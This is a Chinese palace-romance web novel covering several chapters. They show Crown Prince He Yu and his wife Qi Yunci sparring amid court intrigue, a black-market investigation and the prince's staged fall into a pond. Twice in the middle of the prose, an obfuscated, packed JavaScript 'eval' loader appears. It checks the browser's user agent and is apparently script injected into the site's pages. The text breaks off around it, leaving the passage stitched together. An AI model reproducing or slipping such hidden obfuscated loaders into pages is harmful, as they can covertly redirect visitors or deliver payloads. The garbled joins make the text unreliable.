“不算冷,京城比不过边关,像今年这般冷的天,离北那边怕是连马都要陷进去了。”祁允辞将手边的毯子递给了贺遇,扭头望向窗外。 “孤没有见过郡主口中那般的大雪,除了京城,去过最远的地方,是定州,若有机会真想见见太子妃的家乡。” “还是别了,太子殿下,边疆苦寒,养不起娇贵的人。”祁允辞淡淡刺了一句,随后面向窗外,并不打算再搭理贺遇, 多说多错,相互利用的夫妻,实在没必要到交心的地步。 贺遇攥紧了毛毯,也不再去找新的话题,随口提起的定州又被轻描淡写的揭过,就好似人生陡然的转折,并未在他心头留下痕迹。 只是他的眼神近乎于明目张胆的欣赏着这位太子妃,虽然她并不想搭理,贺遇轻轻笑了一声,这鬼脾气,真是一点儿没变。 “儿臣拜见父皇母后。” 皇帝坐于高堂之上,这次却并没有让贺遇免礼,两人端端正正的跪着,大殿内暖和,但对于双腿尽残的贺遇来说,依旧能感受到膝盖刺骨的疼,那不是有地龙就能解决的,但却又不愿显出一丝狼狈,唯有祁允辞跪的近,用余光才能瞥见冷汗。 “起来吧。”元和帝喝了一口茶,没什么情绪的开口。 贺遇被扶上轮椅,肖培安也在一旁帮忙,但她祁允辞状似嫌弃一般撤开了一步。 “允辞在家中应该很是受宠吧。” 陛下放下茶盏,偏头却是对皇后说的这句话。 “想来是的,燕王和镇北侯都没养过孩子,上前来,让本宫瞧瞧。” 祁允辞接过宫女送来的茶,骤然间烫的她的指尖有些疼,但表情却未变,一步步恰到好处,拖长的尾摆摇曳生姿,头饰未动,配上水天碧色一般的太子妃华服,竟和昨日张扬肆意的郡主判若两人。 “儿臣,问父皇安,给母后敬茶。” 祁允辞半蹲下行礼,挑不出一丝错处,皇后并未接过茶盏,静默了足足有一息的时间,却不知忽然从哪里窜出来一只猫,直冲她而来。 祁允辞在避与不避之间微微侧开了身子,让自己不至于将茶水尽数泼到身上。 “还请母后赎罪。” 茶水打翻在地,把那小猫也吓了一跳,攀上了皇后,不敢出来。 “娘娘,陛下,陛下赎罪,奴婢,奴婢不知为何小主子会从内室跑出来。” 跪在地上的宫女将头重重磕在地上。 “一只畜生都管不好吗?” 皇上看了一眼跪在地上的人“肖培安,拖下去,杀,皇后宫中的人也该换一换了,尽是些没能力的。” 皇后作为王家女,又跟在陛下身边这么多年,一瞬间便知晓陛下对自己这段时间的行为表达了不满,出自京南四大世家的贵女,也只有在争夺皇位之时才得圣心。 “望陛下恕罪。”皇后起身跪在一边,最后也还是被陛下亲自扶了起来。 “行了。”手中的佛珠砸在桌子上“太子新婚,不宜见血,肖培安,处理了。” “是。” 祁允辞低眸,在不断的求饶声中,毕恭毕敬的跪着,直到皇后牵着她的手将她扶起来,这次倒是顺顺利利的接到了新妇敬的茶,而血玛瑙的镯子也扣在了祁允辞的手腕上。 “行了,你同太子理应相互扶持,少惹些笑话出来。” 皇上并不想再听絮叨,直接截断了话头,毕竟她不是闲得发慌,来看做婆母的教训儿媳,他并不在乎世家背后通过皇后递出来的小手段,只要相互制衡便好,而要打破平衡,必须由他出手。 “太子,新婚,就暂时不必去大理寺了,谢运会守着,朕准你五天假,五天后再去当值。” 皇上撂下这句话后便起身离开,贺遇跟上陛下的身影一同去了御书房,只留下祁允辞同皇后面面相觑。 “马上就是小年了,陛下同怀瑾自是有要事要谈,太子妃就帮忙抄抄佛经,和太子一同回去吧,本宫乏了,秋水,让人伺候笔墨。” “儿臣遵旨。” 祁允辞接过笔,整理好自己的衣襟,一字一顿,一撇一捺之间,尽数都有着他父亲的风骨。 祁御的字,比燕王更为刚毅和潇洒。 ………… 元帝落座,并不着急说话,反而拿起奏折,随意翻看着,落笔一顿,朱批滴落,正好侵染了镇北侯的名字。 “太子觉得镇北侯如何?” “侯爷少年英才。” 陛下干脆搁笔,并不搭理贺遇的这句客套“这里只有咱们父子两人,有话直说,祁枭算是你大舅哥啊。” 贺遇拱手,于轮椅上再次行礼,只是唇角勾起一丝转瞬即逝的冷笑“回父皇,儿臣以为,侯爷退外敌于外,率性而为于内,实乃少年人所为。” “他祁枭是少年人,怀瑾难道就不是么?” 陛下轻轻敲击着放在一旁的玉玺,好像并不赞同这句话。 “侯爷大胜而归,张扬些是应该的。” “应该?军功是他拿来放肆的吗?你媳妇也是个不懂规矩的主。” 贺遇听见陛下过于直截了当的评价,并没有私自表露什么不满,他摸索着戴在手上的玉扳指,,处变不惊的接上话“父皇,儿臣不委屈,只是” “有话直说。” 贺遇撑着肖培安,从轮椅上起身将自己摔在了地上,恰倒何处的露出了他那双与其母肖似的眼睛。 “父皇,镇北侯是功臣,往上走就是权臣啊,儿臣知晓如此说话有违圣贤之道,可儿臣实在惶恐。。” 贺遇就算再不想做元帝的儿子,他们的身上依旧一脉相承,这么多年的相处,他又如何不了解自己这个所谓的父亲呢? 既要用你,也要打压你,他需要镇北侯府的军权弹压世家,提升皇权,所以祁允辞就被许给了自己这个残废,只占着太子之位的废物,毕竟众多皇子之中,唯有他身份尊贵,并且不会威胁皇位。 陛下神色晦暗,静静听着太子的话。 “父皇,儿臣虽双腿残疾,但仍向往民间,这些时日,京中的戏文皆唱镇北侯收复失地,立不世之功,却无人歌颂父皇的功绩,假以时日,恐怕这天下只知镇北侯而不知陛下。” “行了,朕还不至于同一个初出茅庐的将军计较,太子,你是储君,怎可如此忌惮功臣,肖培安,把太子扶起来。” 元帝招了招手,温和的笑着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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左相叹了口气,让身边的人都退了出去,书房内只剩下父子二人“清舒,边关不稳,侯爷作为守将,难道还要待在京城不成吗?这些事情你不必管了,认真准备明年的春闱吧。” “是,父亲。” 就在楚清舒踏出房门的那一刻,左相叫住了他“清舒,侯府早已不比景帝和武帝在位时了。镇北军在当年老侯爷手中是国之利器,在如今祁枭手里,在陛下眼中,可就不是如此了。” “你说什么?”祁允辞失手打碎了本装着寒梅的花瓶,趴在她腿上的小老虎滴溜溜的滚到了地上,正小声叫唤着。 华岁将老虎抱起,连带着更星一起守住了房门,屋内只剩下岑佑和阿萤两人。 岑佑干净利落跪下,“主子,刚刚去查过了,陛下直接颁布了圣旨,让侯爷两日后离京,正是您回门的日子。” “知道了,你去趟左相府,隐蔽点儿,问问楚哥哥还有什么想要交代的没有。” “是。”岑佑佩剑,闪身之间便已出了东宫,手中提着食盒,前往南城,去替太子妃买蜜饯了。 “太子妃的侍卫出府了?”贺遇随手翻看着书,病怏怏的躺在床上,昨日自他出宫,便当着祁允辞的面吐了个天昏地暗,又不让喊太医,就一个人干熬着,把祁允辞吓了一跳,今日才略微好了些。 “可要属下跟上?” “不必了,祁枭留给他妹妹的必是能人,不用打草惊蛇。” “是。” “娘娘,这是王大人的信。” 皇后接过秋水手中的密信,叹了口气“陛下可真是愈发雷厉风行了。” 京南四大贵族,出了王皇后与三皇子的王家官居御史大夫,谢家出文人,当今掌权人曾做过太子师,朝中半数尽出其门下,崔家位居右相,至于李家则为太尉,只是可惜少了兵权。 而黑市之所以能够维系,便是因为由这四家保驾护航,本想拉镇北侯府下水,却未曾想,竟被人截胡了。 皇后烧掉信,闭了闭眼,不再说话,她站在案几前,望着祁允辞昨日练字时留下的纸,笔走龙蛇,潇洒恣意,与她的字形成鲜明的对比。 “人人都说,字如其人,就是不知道,当环境变了,是不是还能写出这手好字。” 7. 郡主听戏偶发现,太子不满婚内斗 凌霄推着轮椅,穿过东宫的梅园,雪落在上面,好一幅红梅落雪般的静谧画面。 只可惜怡香阁内的鼓点声却打破了这独属于冬日的寂寥。 贺遇皱起了眉头径直去了阁内,准备看看他这位新娶的妻子又闹出了什么事儿,本以为自祁枭和阿诗勒津离京后,这位郡主总要伤心一些时日,不曾想,倒是将东宫真正当成了自己的家,他贺遇在大理寺忙的天昏地暗,祁允辞倒是每日光顾自己的后院,听曲听戏,凿冰钓鱼,凭栏画梅,好不快活儿。 “殿下,这是太子妃新请的戏班子,太子妃改编了一部分,加了大鼓鼓点,所以有些闹腾。” 李管家跟在一旁向贺遇解释道“这戏班子据说唱得最好的一出戏便是《女驸马》,太子妃正听着,殿下可要……” 贺遇摆了摆手,打断了李管家的话,并不着急进去,从大殿门口往暖阁内看,只见他的太子妃半倚在座位上,一只手拿着酒杯,一只手拽着人家女状元的袖子,轻轻一扯,就将那已经下台领赏的状元郎又拉近了几步,勾住了腰上的玉带。 “若所有的状元郎都长你这样,本郡主也一定嫁给你。” 祁允辞明显醉了,媚眼如丝,声线有些黏糊,而太子爷后院的那些歌女们,也跟着站在一旁凑趣,哄着太子妃喝酒。 而直到此刻那大鼓的声音都未停歇。 “放肆,真是一群没规矩的。” 李管家骂道,一瞬间便将人都惊散了,红菱一愣,竟没看见太子在门口,赶紧老老实实领着人跪在一旁行礼,“拜见太子殿下。” 祁允辞趴在椅背上,撑着脑袋,探身去看贺遇,她穿着一件鹅黄色的薄衫,火狐皮毛做成的毯子不知何时已经话落在了地上,玉足踩着,白与红配在一起是那样扎眼。 “妾身,拜见太子殿下。” 祁允辞足尖轻点,站起身行礼,轻灵中带着一丝不易察觉的娇憨。 “太子妃好雅兴。” 贺遇没有让人起身,由着凌霄推着轮椅向前,停在了祁允辞面前“怎么照看主子的?穿这么少。” “殿下恕罪。” “别怪他们。”祁允辞虚虚扣住了贺遇的手腕,“臣妾身体好,这里怪暖和的。” 阿萤被更星扶着跪在了地上,呆愣愣的,抿着唇,估计此时宫室内只有她一个是真的醉了。 “太子妃是醉了吗?” “是啊,殿下也不来见臣妾,臣妾只好自己找点儿事做。” “是孤冷落太子妃了,大理寺忙。” “忙什么?”祁允辞再次倾身,两人呼吸交织,暖阁本就被银丝碳烘烤的暖洋洋的,而祁允辞的手心更像是攥着一团火,贺遇身体亏损,常年都带着寒意,此时竟略有些生了汗。 “忙什么?自是忙大理寺要案。” “是黑市的事吗?” 贺遇反手扣住了祁允辞的手腕,将人再次拉近“太子妃想知道?” “自然。” 贺遇轻笑一声,放开了人,身体略往后移,同祁允辞拉开了距离,反而将视线落在了跪在地上的女状元身上“确实是好颜色,难怪太子妃想要嫁你。” “殿下恕罪,殿下恕罪。” “殿下,殿下,是这浪蹄子勾引太子妃,该罚该打。”那戏班子的老板直接上脚就要踹,却被阿萤一下掀倒在了地上,她虽已经有些迷迷瞪瞪了,但好歹还是知道规矩,跪在了那女状元和公主扮相的姑娘们面前,将人挡得严严实实的,也不说话,但眼中满是谴责。 祁允辞站直了身子,表情也算不上好看“殿下不必迁怒,戏是臣妾让人来唱的,与他人无关。” 贺遇先前说这话时其实并没有生气,只是讲来逗趣的,但未曾想这才入京城的戏班子根本没见过什么大世面,见到的第一个权贵,就是祁允辞他们,怎么能不惶恐呢。 “都起来吧。” 刚说完这句话,贺遇的视线却落在了阿萤随着鼓点,不明显颤动的耳朵上。 略垂眸,一扫而过,便神色如常的让人起身。 “行了,都退下吧。”贺遇的视线最终还是停在了祁允辞的身上“太子妃若是觉得在东宫待的无趣,不若每日陪孤来用膳吧。” 说完也不等答复便直接离开了。 “恭送殿下。” 祁允辞给女状元她们抓了一把金瓜子,也没了在暖阁待下去的欲望,回了怀安殿。 ………… “真是扫兴。” 祁允辞坐在软榻上,眉眼间显出几分不耐烦,哪里还看的出一点儿醉意,让华岁取来金箔纸,在桌子上搭起了房子。 更星在一旁轻声汇报道“主子,阿萤说,怡香阁内,几乎所有歌女、舞姬都会武功,而且地下应该还有一层。” “还有一层?” 祁允辞搭房子的手指一顿。 “是,阿萤说是她听出来的,她们所有人下盘都很稳,尤其是那个叫红菱的,并且每次鼓点敲击时,那个地下都有回音。” 祁允辞支着脑袋,思索开口:“倒是小瞧咱们这位太子爷了,岑佑,明日就把那戏班子放出府,多关照着,如有必要,换个领头的。” “是。” 祁允辞放上最后一块金箔纸,其实她在怡香阁听曲,本就是临时起意,根本没想到会有这样一个发现。 ……………… 贺遇轻轻敲着桌角“红菱?” “恕属下无能,未曾想到太子妃会直接闯进怡香阁。” 凌霄在一旁,替太子上茶“殿下,虽然太子妃身边的人都会武功,但红菱她们遮掩的很好,和普通歌女并无二样,太子妃应当不会发现怡香阁内的事情。” 贺遇抿了口茶,不明显的叹了口气“难怪太子妃第一眼瞧你就跟看傻子一样。”凌霄一愣,没想到太子殿下这样说他,一瞬间高大的身影安静成了一只鹌鹑。 “殿下?” “她身边那个异族女子恐怕耳朵灵敏的有些不正常,留意着,你们每次说话,那女子耳朵都会动,只是幅度不明显罢了。”贺遇将茶盏放在桌子上,发出清脆的响声,略微感慨道“可真是娶了一个祖宗回来啊。” ……………… “殿下,请殿下恕罪,我家主子今日喝醉了,脑袋难受,便先行躺下歇息了,实在吃不下饭,也怕惹得殿下不快,特命奴婢来告罪,就不陪殿下用晚膳了。” 华岁行礼,在一旁小声解释道。 “好,让她好生歇息,别忘了明日一早陪孤用膳。” 贺遇揉了一下自己的额角,并不计较此时祁允辞拿他说的话当耳旁风,只是警告的看了华岁一眼。 “殿下,姚医师来了。” 李管家在一旁领着人进来,贺遇也有些吃不下,这些日子全用来调查黑市的相关情况了,累得很。 “殿下,冬日切忌劳神劳力啊。” 姚医师仔细替贺遇按摩着双腿,此时寝殿内又是银丝炭,又是地龙,甚至凌霄肝火旺,身上都有了一丝薄汗,而贺遇却依旧手脚冰凉。 ……………… 祁允辞隔日一早,就被华岁叫了起来,梳妆打扮,但她实在是不想离开自己温暖的被窝。 “一定要去吗?” 祁允辞懒洋洋地抱着华岁的腰,三催四请才有了第二步动作。 “臣妾拜见太子殿下,太子殿下晨安。” 祁允辞行礼,月白色的长裙外披着白色的大氅,刚踏进主殿就感到热气扑面,但贺遇的脸色却依旧算不上好看,这段时间他一直扑在大理寺,气血一时养不回来。 “太子妃来了,坐吧。” “黑市这么难查啊,殿下如此劳累?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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更星跪在地上,替祁允辞打开食盒,却被她挥手拂开了“你们几个分了吧,我不吃。” 祁允辞愤而将头扭向另一边,就盯着阿萤啃酥饼 “吃?” “不吃。” 好气哦,谁是主子啊,阿萤还睡到了自然醒。 “阿萤,你和岑佑两个人去替我把鼓取过来。” “啊?” 阿萤偏了偏头,表示疑问。 “明天去请太子殿下起床。” ……………… 贺遇心一慌,直接感觉一脚踩空的失重感让他都以为自己腿好了。 “外面在干什么?” 冬天天还未亮,朦朦胧胧的,就听见外面跟炸了锅一样,自己的心跳都与鼓点声同频了。 “回殿下。”李管家跪在地上,根本没想到会遇到这种情况,说话吞吞吐吐地。 “说!”贺遇给自己披上衣衫,脸黑的都能演包公了,苍白的脸色都透出了几分红晕。 “太子妃在外面敲鼓,说是,说是喊您起床,凌霄都已经去劝了,李先生也醒了,可,可太子妃说一定要见到殿下。” 贺遇狠狠闭了闭眼,“如今几时了。” “寅时,还有一个时辰就到了上朝的时候了。” 贺遇缓缓吐出一口气“推我出去。” “是。” “太子殿下早上好啊!” 祁允辞用火红的大氅将自己围了一个严实,连修长的脖颈都不愿裸露在外面,行礼标准且挑不出丝毫错误,眉眼带着挑衅地笑“太子殿下,睡得可好,可要臣妾陪您一起用膳啊?” 8. 太子两把逗郡主,东宫落水甚无言 “殿下这几日都要吃豆腐吗?” 祁允辞拨弄着碗里的菜,生怕再次被算计。 贺遇勾了一下唇“不至于,太子妃放心吃吧。” 祁允辞一愣,没想到这小肚鸡肠的人这么好说话,毕竟今天早上,天才擦亮,他们两人便相顾无言,在长廊上对坐了一个时辰。 “行了,太子妃慢用,大理寺还有事。” 贺遇径直离席,凌霄推着轮椅便离开了。 祁允辞望着他的背影,挑了挑眉,她总觉得还有什么更不好的事情等着她。 “殿下,这样好吗?” 贺遇从凌霄的手中接过了那只年幼的小老虎,祁允辞很宠它,喂的油光水滑的。 他用手指拨弄着虎头,那小老虎凶巴巴的,张嘴就要咬,奈何乳牙还未长齐,只是糊了贺遇满手的口水。 贺遇坐在马车内,对凌霄吩咐道“找个时间,把怡香阁内关着的人杀了吧。” 小老虎啪唧摔在毛毯上,蹭了几下,翻个身,又虎头虎脑的站起来,颤颤巍巍的向着贺遇出发,然后又被戳倒了。 贺遇看着小老虎锲而不舍的样子,想象着祁允辞回到怀安殿后的暴跳如雷,不禁扬起了笑意。 “娇娇呢?!” 祁允辞看着本来趴在地上喝奶的小老虎连虎影子都没了,表情有些难看。 “愣着干什么?去找啊!” 祁允辞直接将金丝线织成的软枕砸在了地上。 “你们是干什么吃的?谁给你们的胆子,怠慢太子妃?一只老虎都照顾不好吗?” 华岁插着腰将跪在地上的宫女奴才们骂了一个狗血淋头,在一声声的告饶声中,和祁允辞交换了一个眼神,直接让人去请了李管家。 “李管家,你们就是这般对待太子妃的吗?咱们郡主是东宫的女主人,太子殿下尚且都没有怠慢,你们是怎么敢的?” “姑奶奶哎,奴才哪敢怠慢太子妃啊,太子妃的吃穿用度与殿下可真是一样的。” “那娇娇呢?” 华岁指着那盆牛奶,大声质问道。 “就是啊,娇娇可是咱们郡主最喜欢的小老虎。” 更星在一旁接话道,义愤填膺。 “哦,吓死奴才了,原来太子妃说那只小老虎啊,它。”李管家话还没说完,就被祁允辞直接打断了“一只老虎都养不好,就把我殿中的人都换了吧,本宫用不习惯。” 李管家一愣,赶紧解释道“不是,太子妃娘娘,那只小老虎是被殿下带走了。” 祁允辞咬了一下舌尖,她本以为是娇娇自己跑出去了,根本没想到会是贺遇将它拐走了,现在愈发生气,贺遇从她的宫中带走了东西,她却不知道。 “行了,李管家,本宫不想再听这些解释,本宫院子里不用再安排侍女了,更星,把人赶出去,本宫院子里的人,本宫自己会挑。” “娘娘。” 祁允辞抬眸,只是扫了一眼“本宫现在说话不管用了是吗?李管家,这里没你什么事了,退下吧。” “郡主,太子那边。” 华岁在一旁小声问道。 祁允辞盯着那盆羊奶,此时的情况让她有些无所适从。 不论是在陇右道还是在侯府,祁允辞身边住着的都是她最为亲近和信任的人,而现如今,贺遇的不请自来,令她的私人 领域受到了侵犯,宛若头狼感到了挑衅,这让她有些愤恨和不平。 “更星,你出一趟府,去把娇娇的吃食送过去,告诉他贺遇,我家娇娇要是,算了,取纸笔来,我自己写。” 龙飞凤舞几个大字跃然纸上“娇娇,养好,它掉几根毛,殿下掉几根头发。” “送过去。” 祁允辞将另一个枕头抱在了自己怀里,蜷缩在软榻上,看着窗外盛开的梅花愣神。 “你家郡主让人送来的?” 贺遇打开食盒,里面有各类肉品,以及一小碟羊奶,早就饿了的小老虎爬上桌子,对着更星软乎乎的就开始哼唧。 贺遇放下文书,刚准备打开另一个食盒,就听见了谢运的声音。 “太子殿下家中不愧是有贤妻,连午膳都送过来了?” 谢运虽然端着一副风流倜傥的样子,但血腥气却遮掩不住,冲着贺遇跪下行礼。 “嗯,谢大人审完了?可都招了?” 由于那日谢运带回来的信件真假参半,所以黑市的调查一直停滞不前,唯有楚柯一人是突破点,更有陛下下了死令,在 小年之前将楚柯全家斩首,更是让金吾卫和大理寺忙得团团转。 直到今日贺遇估算了各个州县盐铁的产量,以及他让人顺着各家青楼找出了楚柯的私生子,这才有了进展。 “是啊,殿下大才,下官当日在大殿上,还以为他是什么软骨头,没想到酷刑都下了一轮,还没招,不过一听见自己儿子被找到了,倒是开始痛哭流涕了。” 更星听着对话,往旁边缩了缩,降低着自己的存在感。 “这是太子妃娘娘的侍女吗?” 谢运直起身,下垂的眼眸居高临下的审视着,好似要看出花来。 “回大人的话,是。” 更星小步往后退了退,说话轻声细语,小巧的脸上流露出害怕,好似说话声音再大一点,就要被吓的背过去了。 贺遇敲击着桌面,“谢大人,不去用膳吗?”打断了谢运的目光,也顺手在此刻掀开了另一个食盒,没想到入目就是祁允辞对他头发的威胁。 贺遇眼角抽动了一下,扭头看向那个大着胆子前来送餐的侍女。 更星就像是仗着有人撑腰一般,结结巴巴地说道“这是,这是太子妃让我带过来的。” 贺遇像是被气笑了,扯了扯正在喝羊奶的小老虎的虎须,它扭头就气冲冲的过来叼他的手指。 “太子妃说什么?” 谢运状似好奇的问道。 大理寺的大臣们也想同这位储君拉近一下关系,纷纷开口“殿下同太子妃娘娘真是恩爱非常,看的让人好生羡慕。” “是啊,我家那婆娘也不知道问一下。” 贺遇轻笑出声,一把收起了那张大逆不道的字条,阻挡了众人的探究“诸位大人们,用膳吧。” 就在这时顾时安开口道“殿下不让我们看私房话,总让我们看看太子妃为您备了什么菜吧,回去便让我夫人也学着点儿,就算不像太子妃这般温柔小意,也好歹给我个心理安慰。” 贺遇忽然开口问了一句“是你们家郡主备的菜吗?” “回殿下的话,是。” 此时的更星更是往旁边挪了挪,根本没想到会有这么多人好奇。 贺遇叹了口气,也不要凌霄帮忙布菜了,直接自己打开了端了出来。 好嘛,清一水儿全是豆腐。 “额,殿下竟如此喜爱?” “咳,孤,咳,这段时间钟情。” “啊,那太子妃可真是体察殿下喜好。” “是啊,是啊,伉俪情深。” 诸位大人随声附和道,唯有顾时安抬头看着唇角带笑,泰然自若应下这波夸赞的太子爷,别开了头。 当然,谢运也有些做不到指鹿为马 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“放肆!”凌霄怒喝一声,对着跟在祁允辞身后的阿萤骂道“见到太子为何不跪迎?” “拜见太子殿下。” 阿萤先看了自家郡主一眼,这才翻身下马跪在了一边。 快要落山的太阳洒下金色的光,披在祁允辞的身上,她先是对着贺遇遥遥抱拳,随后下马行礼“臣妾拜见太子殿下,还望殿下勿怪,首乌许久没活动活动筋骨了,臣妾这才跑马。” 贺遇并没有让人起身,仔细欣赏着这匹似乎流光溢彩如绸缎般的白马,除却额头处的那一点黑墨,浑身宛若浑然天成的白玉。 “是匹好马。” “谢殿下夸赞。” “太子妃跑马可以,莫要扰了东宫安宁。”贺遇对着祁允辞说道,随后吩咐李管家他们“都下去忙自己的吧,太子妃这里不用照看了。” “是。” 祁允辞扬眉,笑着问道“殿下这是要为了臣妾破了您自己定下的规矩?” 贺遇轻轻笑了一声,陡然露出的笑意,宛若冬日难得一见的暖阳,不是虚假的停留在表面的笑意,而是真正从眼底流出来的那种 “那是自然,为太子妃破规矩,是孤的荣幸。” 那双含情眼望着祁允辞,好像天地之间只能容下她一人般。 祁允辞陡然回神,略皱起眉头,总觉得贺遇不是好鸟,准备坑她。 “朝瑶不上马吗?” 祁允辞也不再犹豫,跨上马背,径直向前。 凌霄推着轮椅走在身后,而贺遇还抱着那只小老虎,刚路过后花园的池塘,那睡着的小老虎就又被贺遇弄醒了,正嗷呜嗷呜的叫着。 祁允辞一瞬之间就想起了自己的娇娇还没抱回来,陡然调转马头,调皮的策动了一下缰绳,逗着首乌直冲贺遇而来,奋起扬蹄,正好停在贺遇面前,甚至又往前冲了几步,凌霄怕冲撞到殿下,于是快步往前,挡住贺遇。 “请太子妃小心。” 凌霄的话还未说完,就看见祁允辞瞪大了双眼直接惊呼出声,如一阵风般跳下马,凌霄急忙回头,正好看见他家殿下轮椅带着人直接翻进了湖里,唯有那只小老虎被扔了上来,还在地下叫唤着。 “贺遇!!” 祁允辞哪里敢犹豫,直接和凌霄两个人一起一个猛子扎下了水,岑佑紧随其后。 “快,快,救人啊,太子殿下落水了!!” 霎时之间,东宫乱成了一团。 而祁允辞在水下,奋力游向贺遇,满脑子此刻只有一个想法,这孙子,又坑她。 9. 郡主受罚跪雪夜,四年前尘入梦中 祁允辞于水中抓住了贺遇的衣袖,冰冷刺骨的池水将她包围着,感觉自己的行动在变得迟缓,贺遇厚重的大氅拽着她往下,祁允辞将贺遇的手递给凌霄,此时的他已经近乎于没有了意识,于水中,祁允辞尽力睁开眼,去解开他的大氅,给凌霄和岑佑打了手势,总算将贺遇这个累赘拽上了岸。 贺遇呛了水,在岸上不断咳嗽,浑身发抖,脸色苍白的好似要消散一般,寒冬腊月的池水,是个正常人都受不了,更何况是贺遇这么个药罐子。 祁允辞扶着他,怒喝着让人去找大夫,不断拍打贺遇的背让他将水全部吐出来,一把拽过自己扔下的衣服,将人圈了起来。 “见鬼。” 禁不住骂道“也不知道往后躲什么?” “殿下,我的殿下啊。”李管家尖锐的嗓音炸的祁允辞头疼,一记刀眼劈过去成了鹌鹑。 而姚医师被岑佑和凌霄驾着,一路飞檐走壁送到了面前。 “给他看。” 祁允辞让开位置,死死咬住了下唇,她都不敢想,储君在东宫落水,还担任着大理寺的要职,若是闹到皇帝那里,她该被整的有多惨。 贺遇被他们移到了室内,祁允辞更是被出了一身汗,一半是热的,另一半是急的,看着床榻上不省人事的太子爷,只觉得自己一口气都有些喘不上来。 可事已至此,再去后悔也已经来不及了,不如,那不如去验证一件事。 祁允辞抓住华岁的手“去,把岁寒叫过来。” 她干脆利落的在一旁偏殿换掉了自己湿透的衣服,此时岁寒也到了。 “医师可需要搭把手?” 在那个御用医师开药的时候,祁允辞直接开口问道。 “请郡主不要再添乱了。”凌霄怒目圆睁,带着愤恨与不平。 奈何祁允辞连看都懒得看他一眼“这里有你说话的份吗?” “医师,我家这个婢子师从药师王邈老先生。” 姚医师愣了一下,没想到这么大来头,打量了两眼也就让开了位置。 “注意殿下的腿,本就有寒气,务必扎针捂热了,劳烦太子妃娘娘出去等候。” 祁允辞听闻,也不犹豫,直接带人走了出来,而凌霄紧随其后。 此时的凌霄看这位不守规矩的郡主愈发鼻子不是鼻子,眼睛不是眼睛。 可惜祁允辞现在已经懒得和蠢货计较了,她这辈子还没有像现在这般憋屈过,她一向做事敢做敢认,但这明显是贺遇这个疯子自己故意掉下去陷害自己的呀,他想干什么? 祁允辞飞速的将朝堂的局势过了一遍,并不觉得害自己担上杀夫的罪名有什么好处,为了营造不和的局面,没必要让自己遭这一场罪吧,那他要干什么?难道是他想要从黑市的探查中隐身? “回禀陛下,此时黑市的探查已经有了较大的进展。”谢运跪在地上行礼,向陛下汇报道“臣对楚柯上了刑,他已经招供,他和庆州知州汤和之间的暗线,是通过每个州县为陛下送生辰纲的当口转移银两,而庆州作为开采铁矿的产地,由楚柯牵线搭桥,卖给买家。” “买家名单呢?”陛下眼中含着薄怒,低声问道。 “太子殿下顺着罪臣楚柯每月府中银元花销,找到了他藏匿于南城第三条小巷内的儿子与外室,楚柯妻子彪悍,不敢纳妾,唯一的儿子便被养在那里。他要求见儿子后说出名单。” “哼,人都要死了,还怕黄泉边上见不着吗?明日一早务必审出来,午时问斩。” “是。” “陛下,大事不好。” “肖培安,你慌什么?”元帝瞥了一眼拿着拂尘,着急忙慌跪在地下的人。 “陛下,太子爷于东宫落水了,现如今昏迷不醒。” “谁干的,在自己家中还能失足落水不成?” “禀陛下,据说是被太子妃骑马而来惊到了,这才。” 茶杯碎在了地上,飞溅起来瓷片划上了谢运的脸,可他不敢抬头,只能不断压低自己的身形。 “她祁允辞想干什么?眼中还有没有王法?他们镇北侯府眼中还有没有朕?”元帝盛怒,可又在一瞬间平复下来,闭上眼“你,去告诉皇后,让她好好管管这个无法无天的儿媳。” 陛下停顿了一下,对谢运说道“你去领着太医,探望太子,记住,务必检查他的双腿是否有反应。” “是。” 祁允辞第二次见到了谢运,陛下的一条好狗。 “臣,拜见太子妃娘娘。” “谢大人。” “娘娘,陛下让臣来探望太子殿下。” “进来吧,殿下刚醒。” 谢运进入内室,贺遇正病怏怏的躺在床边,喝着药,房间内浓烈的药味几乎要将人腌入了味,贺遇脸色惨白,还不断咳嗽着,宛若一株开败了的花。 “臣问殿下安好,替陛下前来慰问。” “嗯,谢过父皇,孤并无大碍,只是池边路滑,不小心跌落水中,平白引了父皇担忧。” 谢运退向一旁,给太医让出了位置。 “陈太医。” “殿下安好,特来看看殿下。” 祁允辞站在一旁,看着这位太医仔细替贺遇把了脉,又细细看了一下双腿,她并没有上前,也没有听他们的谈话,反而想起了岁寒刚刚附在自己耳边的话。 “主子,太子殿下的双腿于四年前本有治好的于地,但却并没有好生养护,而且还有许多新伤,最重要的是,有毒,但暂时不清楚是哪一味。” 为何会有新毒呢? 祁允辞思索着,视线落在那个太医身上,可就在这时,肖培安却不请自来了。 “传陛下口谕,殿下不必起身。” “谢父皇。”贺遇抱拳。 “传太子妃祁允辞进宫拜见皇后娘娘。” “儿臣遵旨。”祁允辞暗中撇嘴,跪在地上回答道。 “请太子妃跟杂家走一趟吧。” “肖公公请。” 祁允辞在临行前,扭头看了贺遇一眼,只可惜这孙子表情依旧温和,看不出一丝坑害她的抱歉,满满都是看戏的戏谑。 这孙子。 “太子妃,谁给你的胆子,于东宫跑马的?” 祁允辞跪在院子内,虽说才扫了雪,但冰凉青石板依旧一瞬间沁湿了她的衣物,透着正正寒意,从温暖的室内,到刺骨的室外,她略微喘着气。 “回母后的话,是儿臣放肆了。” “你确实放肆,若是太子有个三长两短,你们镇北侯府就是谋反!!” 皇后着人搬了软椅,坐在大殿门前的长廊内,一旁燃着炭火,都还感到了冷意。 “请母后明鉴,镇北侯府绝无谋反的意思,今日之事,儿臣本是与殿下开玩笑罢了,未曾想到会闹出这么大的事,惹了您同陛下担心。” 祁允辞重重将头磕在了地上,蜷缩了两下冻僵的手指。 就在这时,李管家竟然匆匆进了宫“奴才见过皇后娘娘。” “嗯,太子如何?” “劳娘娘费心,太子殿下失足落水并无什么大碍。” “本宫知道了,你同秋水去将库房里的血人参取出来,给太子补身体。” 